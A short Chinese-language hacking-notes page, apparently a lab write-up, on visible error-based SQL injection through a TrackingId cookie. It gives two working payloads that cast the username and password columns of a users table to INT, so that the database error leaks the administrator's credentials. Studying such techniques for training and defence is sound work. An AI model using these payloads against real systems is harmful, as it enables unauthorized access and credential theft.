> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/error-based-sql-injection.md).
# 基于错误的 SQL 注入
### 可见的基于错误的 SQL 注入
**简要背景：** 应用程序将……的值拼接到 `TrackingId` 在 SQL 查询中的 cookie。通过对某一列（用户名/密码）的内容触发 \*\* 转换错误 / 函数\*\*，一些 DBMS 会返回包含该值的错误消息——该消息就变成了一个泄露字符串。目标：获取 `administrator` 密码，然后登录。
```sql
' or 1=cast((select username from users limit 1)as INT)-- -
```
```sql
' or 1=cast((select password from users limit 1)as INT)-- -
```
---
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